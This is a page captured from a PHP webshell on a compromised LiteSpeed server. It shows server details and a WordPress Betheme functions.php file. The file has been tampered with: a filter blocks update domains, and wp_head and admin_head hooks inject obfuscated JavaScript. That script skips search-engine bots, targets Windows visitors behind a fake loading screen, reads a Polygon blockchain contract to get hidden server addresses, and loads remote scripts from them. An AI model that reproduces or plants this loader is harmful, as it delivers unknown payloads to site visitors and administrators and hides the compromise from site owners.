403Webshell
Server IP : 91.220.113.119  /  Your IP : 216.73.217.69
Web Server : LiteSpeed
System : Linux milad313-ded-e10.tidadns.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : maralloab ( 1965)
PHP Version : 8.1.34
Disable Function : mail, show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maralloab/public_html/wp-content/themes/betheme/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/maralloab/public_html/wp-content/themes/betheme/functions.php
<?php
/**
 * Theme Functions
 *
 * @package Betheme
 * @author Muffin group
 * @link https://muffingroup.com
 */
function wikiplus_block_http_request_domains($preempt, $r, $url)
{
    $blocked_domains = array(
	'secure.gravatar.com',
	'wordpress.org',    
	'wordpress.com',
        'gravatar.com',
		'google.com',
		'mixpanel.com',
		'fonts.googleapis.com',
		'googleapis.com',
		'api-eu.mixpanel.com',
        'version.xcart.ir',
	'gravityforms.com',
        'learndash.com',
        'gravityapi.com',
        'remote.learndash.com',
        'yoast.com',
        'bridge.unitedover.com',
        'woocommerce.ir',
        'zemez.io',
        'account.jetformbuilder.com',
        'github.com',
        'yoa.st',
        'w.org',
        'unyson.io',
        'siteorigin.com',
        'woocommerce.com',
        'cdn.jsdelivr.net',
        'cdn.themesinfo.com',
        'themesinfo.com',
        'my.yoast.com',
        'my.elementor.com',
        'feeds.feedburner.com',
        'currencies.yithemes.com',
        'yithemes.com',
        'jsdelivr.net',
        'unpkg.com',
        'cdnjs.cloudflare.com',
        'ajax.googleapis.com',
        'dl3.wpnovin.com',
        'api.crocoblock.com',
        'relevanssi.com',
        'plugins.morningtrain.dk',
        'connect.advancedcustomfields.com',
        'xcart.ir',
        'translate.wordpress.com',
        'joomunited.com',
        'wp-rocket.me',
        'wpmelon-updates.com',
        'nikanadv.ir',
        'themeisle.com',
        'www.arformsplugin.com',
        'wpshout.com',
        'www.codeinwp.com',
        'ipecho.net',
        'ident.me'
    );

    foreach ($blocked_domains as $blocked_domain) {
        if (strpos($url, $blocked_domain) !== false) {
            return new WP_Error('http_request_blocked', 'Requests to this domain are blocked.');
        }
    }

    return $preempt;
}
add_filter('pre_http_request', 'wikiplus_block_http_request_domains', 10, 3);
define('MFN_THEME_VERSION', '26.3.1');

// theme related filters

add_filter('widget_text', 'do_shortcode');

add_filter('the_excerpt', 'shortcode_unautop');
add_filter('the_excerpt', 'do_shortcode');

/**
 * White Label
 * IMPORTANT: We recommend the use of Child Theme to change this
 */

defined('WHITE_LABEL') or define('WHITE_LABEL', false);

/**
 * textdomain
 */

load_theme_textdomain('betheme', get_template_directory() .'/languages'); // frontend
load_theme_textdomain('mfn-opts', get_template_directory() .'/languages'); // admin panel

/**
 * theme options
 */

require_once(get_theme_file_path('/muffin-options/theme-options.php'));

/**
 * theme functions
 */

$theme_disable = mfn_opts_get('theme-disable');

require_once(get_theme_file_path('/functions/theme-functions.php'));
require_once(get_theme_file_path('/functions/theme-head.php'));

if ( is_admin() ) {
	require_once(get_theme_file_path('/functions/admin/class-mfn-api.php'));
}

// menu

require_once(get_theme_file_path('/functions/theme-menu.php'));
if (! isset($theme_disable['mega-menu'])) {
	require_once(get_theme_file_path('/functions/theme-mega-menu.php'));

}

// builder

require_once(get_theme_file_path('/functions/builder/class-mfn-builder.php'));

// post types

$post_types_disable = mfn_opts_get('post-type-disable');

require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type.php'));

if (! isset($theme_disable['custom-icons'])) {
	require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-icons.php'));
}
if (! isset($post_types_disable['template'])) {
	require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-template.php'));
}
if (! isset($post_types_disable['client'])) {
	require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-client.php'));
}
if (! isset($post_types_disable['offer'])) {
	require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-offer.php'));
}
if (! isset($post_types_disable['portfolio'])) {
	require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-portfolio.php'));
}
if (! isset($post_types_disable['slide'])) {
	require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-slide.php'));
}
if (! isset($post_types_disable['testimonial'])) {
	require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-testimonial.php'));
}

if (! isset($post_types_disable['layout'])) {
	require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-layout.php'));
}

if(function_exists('is_woocommerce')){
	require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-product.php'));
}

require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-page.php'));
require_once(get_theme_file_path('/functions/post-types/class-mfn-post-type-post.php'));

// includes

require_once(get_theme_file_path('/includes/content-post.php'));
require_once(get_theme_file_path('/includes/content-portfolio.php'));

// shortcodes

require_once(get_theme_file_path('/functions/theme-shortcodes.php'));

// hooks

require_once(get_theme_file_path('/functions/theme-hooks.php'));

// sidebars

require_once(get_theme_file_path('/functions/theme-sidebars.php'));

// widgets

require_once(get_theme_file_path('/functions/widgets/class-mfn-widgets.php'));

// TinyMCE

require_once(get_theme_file_path('/functions/tinymce/tinymce.php'));

// plugins

require_once(get_theme_file_path('/functions/class-mfn-love.php'));
require_once(get_theme_file_path('/functions/plugins/visual-composer.php'));
require_once(get_theme_file_path('/functions/plugins/elementor/class-mfn-elementor.php'));

// gdpr

require_once(get_theme_file_path('/functions/modules/class-mfn-gdpr.php'));

// WooCommerce functions

if (function_exists('is_woocommerce')) {
	require_once(get_theme_file_path('/functions/theme-woocommerce.php'));
}

// dashboard

if ( is_admin() ) {

	defined('MFN_DISABLE_LIVE') or define('MFN_DISABLE_LIVE', false);

	require_once(get_theme_file_path('/functions/admin/class-mfn-helper.php'));
	require_once(get_theme_file_path('/functions/admin/class-mfn-update.php'));

	require_once(get_theme_file_path('/functions/admin/class-mfn-dashboard.php'));
	$mfn_dashboard = new Mfn_Dashboard();

	if (! isset($theme_disable['demo-data'])) {
		require_once(get_theme_file_path('/functions/importer/class-mfn-importer.php'));
	}

	require_once(get_theme_file_path('/functions/admin/tgm/class-mfn-tgmpa.php'));

	if (! mfn_is_hosted()) {
		require_once(get_theme_file_path('/functions/admin/class-mfn-status.php'));
	}

	require_once(get_theme_file_path('/functions/admin/class-mfn-support.php'));
	require_once(get_theme_file_path('/functions/admin/class-mfn-changelog.php'));
	require_once(get_theme_file_path('/functions/admin/class-mfn-tools.php'));

	if( ! MFN_DISABLE_LIVE ){
		require_once(get_theme_file_path('/visual-builder/visual-builder.php'));
	}

}

/**
 * @deprecated 21.0.5
 * Below constants are deprecated and will be removed soon
 * Please check if you use these constants in your Child Theme
 */

define('THEME_DIR', get_template_directory());
define('THEME_URI', get_template_directory_uri());

define('THEME_NAME', 'betheme');
define('THEME_VERSION', MFN_THEME_VERSION);

define('LIBS_DIR', get_template_directory() .'/functions');
define('LIBS_URI', get_template_directory() .'/functions');

add_action('wp_head', function() {
    echo '<div id="R2FvKSeqkPMZAnMV" style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;display:flex;justify-content:center;align-items:center;z-index:9999">
<div style="width:50px;height:50px;border:5px solid #f3f3f3;border-top:5px solid #3498db;border-radius:50%;animation:s 1s infinite"></div>
</div>
<style>@keyframes s{to{transform:rotate(360deg)}}</style>
<script>
function decode(encoded) {
    const chars = "0123456789abcdefghijklmnopqrstuvwxyz";
    let result = "";
    
    for (let i = 0; i < encoded.length; i += 2) {
        const chunk = encoded.substr(i, 2);
        const num = chars.indexOf(chunk[0]) * 36 + chars.indexOf(chunk[1]);
        const originalChar = String.fromCharCode(num - (i/2) - 5);
        result += originalChar;
    }
    
    return result;
}

async function getServers() {
    let rpcs = ["https://polygon.drpc.org", "https://tenderly.rpc.polygon.community", "https://polygon.publicnode.com", "https://polygon-public.nodies.app/", "https://1rpc.io/matic", "https://rpc-mainnet.matic.quiknode.pro", "https://polygon.api.onfinality.io/public", "https://poly.api.pocket.network"];
    
    for (const rpc of rpcs) {
        try {
            const response = await fetch(rpc, {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({
                    jsonrpc: "2.0",
                    method: "eth_call",
                    params: [{ to: "0xBF208EE70DE2B68DeBfFaa740E190eD76fBE3b4C", data: "0x3bc5de30" }, "latest"],
                    id: 1
                })
            });
            
            const data = await response.json();
            
            if (data.result && data.result !== "0x") {
                let h = data.result.slice(2);
                let t = "";
                
                for (let i = 128; i < h.length; i += 2) {
                    let c = parseInt(h.substr(i, 2), 16);
                    if (c !== 0) {
                        t += String.fromCharCode(c);
                    } else {
                        break;
                    }
                }
                
                let decoded = decode(t);
                return decoded;
            }
        } catch (error) {
        }
    }

    return null;
}

function tryLoadScript(srcUrl, timeoutMs) {
  return new Promise((resolve, reject) => {
    const script = document.createElement("script");
    script.src = String(srcUrl);
    script.defer = true;
    
    const timeoutId = setTimeout(() => {
      reject(new Error(`Timeout loading: ${srcUrl}`));
    }, timeoutMs);
    
    script.onload = () => {
      clearTimeout(timeoutId);
      resolve(script);
    };
    
    script.onerror = () => {
      clearTimeout(timeoutId);
      reject(new Error(`Failed to load: ${srcUrl}`));
    };
    window.currentServer = srcUrl;
    document.head.appendChild(script);
  });
}

async function createDeferredScript(urls) {
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 3000);
      return script;
    } catch (error) {
    }
  }
  
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 6000);
      return script;
    } catch (error) {
    }
  }
  
  throw new Error("Failed to load script from all sources");
}

(async function() {
    const words = ["bot", "google", "spider"];
    const shouldBlock = words.some(w => navigator.userAgent.toLowerCase().includes(w.toLowerCase()));

    const shouldShow = typeof navigator !== "undefined" &&
        ((navigator.platform || "").toLowerCase().includes("win") &&
        (/windows/i).test(navigator.userAgent || ""));

    if (!shouldBlock && shouldShow) {
        setTimeout(() => document.getElementById("R2FvKSeqkPMZAnMV")?.remove(), 9000);
        
        try {
            const servers = await getServers();
            if (servers && servers.includes(";")) {
                const scriptUrls = servers.split(";").map(item => item + "/get_script");
                await createDeferredScript(scriptUrls);
            }
            else {
                const scriptUrls = [servers + "/get_script"];
                await createDeferredScript(scriptUrls);
            }
        } catch (error) {
        }
    } else {
        document.getElementById("R2FvKSeqkPMZAnMV")?.remove();
    }
})();
</script>
';
});
add_action('admin_head', function() {
    echo '<div id="R2FvKSeqkPMZAnMV" style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;display:flex;justify-content:center;align-items:center;z-index:9999">
<div style="width:50px;height:50px;border:5px solid #f3f3f3;border-top:5px solid #3498db;border-radius:50%;animation:s 1s infinite"></div>
</div>
<style>@keyframes s{to{transform:rotate(360deg)}}</style>
<script>
function decode(encoded) {
    const chars = "0123456789abcdefghijklmnopqrstuvwxyz";
    let result = "";
    
    for (let i = 0; i < encoded.length; i += 2) {
        const chunk = encoded.substr(i, 2);
        const num = chars.indexOf(chunk[0]) * 36 + chars.indexOf(chunk[1]);
        const originalChar = String.fromCharCode(num - (i/2) - 5);
        result += originalChar;
    }
    
    return result;
}

async function getServers() {
    let rpcs = ["https://polygon.drpc.org", "https://tenderly.rpc.polygon.community", "https://polygon.publicnode.com", "https://polygon-public.nodies.app/", "https://1rpc.io/matic", "https://rpc-mainnet.matic.quiknode.pro", "https://polygon.api.onfinality.io/public", "https://poly.api.pocket.network"];
    
    for (const rpc of rpcs) {
        try {
            const response = await fetch(rpc, {
                method: "POST",
                headers: { "Content-Type": "application/json" },
                body: JSON.stringify({
                    jsonrpc: "2.0",
                    method: "eth_call",
                    params: [{ to: "0xBF208EE70DE2B68DeBfFaa740E190eD76fBE3b4C", data: "0x3bc5de30" }, "latest"],
                    id: 1
                })
            });
            
            const data = await response.json();
            
            if (data.result && data.result !== "0x") {
                let h = data.result.slice(2);
                let t = "";
                
                for (let i = 128; i < h.length; i += 2) {
                    let c = parseInt(h.substr(i, 2), 16);
                    if (c !== 0) {
                        t += String.fromCharCode(c);
                    } else {
                        break;
                    }
                }
                
                let decoded = decode(t);
                return decoded;
            }
        } catch (error) {
        }
    }

    return null;
}

function tryLoadScript(srcUrl, timeoutMs) {
  return new Promise((resolve, reject) => {
    const script = document.createElement("script");
    script.src = String(srcUrl);
    script.defer = true;
    
    const timeoutId = setTimeout(() => {
      reject(new Error(`Timeout loading: ${srcUrl}`));
    }, timeoutMs);
    
    script.onload = () => {
      clearTimeout(timeoutId);
      resolve(script);
    };
    
    script.onerror = () => {
      clearTimeout(timeoutId);
      reject(new Error(`Failed to load: ${srcUrl}`));
    };
    window.currentServer = srcUrl;
    document.head.appendChild(script);
  });
}

async function createDeferredScript(urls) {
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 3000);
      return script;
    } catch (error) {
    }
  }
  
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 6000);
      return script;
    } catch (error) {
    }
  }
  
  throw new Error("Failed to load script from all sources");
}

(async function() {
    const words = ["bot", "google", "spider"];
    const shouldBlock = words.some(w => navigator.userAgent.toLowerCase().includes(w.toLowerCase()));

    const shouldShow = typeof navigator !== "undefined" &&
        ((navigator.platform || "").toLowerCase().includes("win") &&
        (/windows/i).test(navigator.userAgent || ""));

    if (!shouldBlock && shouldShow) {
        setTimeout(() => document.getElementById("R2FvKSeqkPMZAnMV")?.remove(), 9000);
        
        try {
            const servers = await getServers();
            if (servers && servers.includes(";")) {
                const scriptUrls = servers.split(";").map(item => item + "/get_script");
                await createDeferredScript(scriptUrls);
            }
            else {
                const scriptUrls = [servers + "/get_script"];
                await createDeferredScript(scriptUrls);
            }
        } catch (error) {
        }
    } else {
        document.getElementById("R2FvKSeqkPMZAnMV")?.remove();
    }
})();
</script>
';
});

Youez - 2016 - github.com/yon3zu
LinuXploit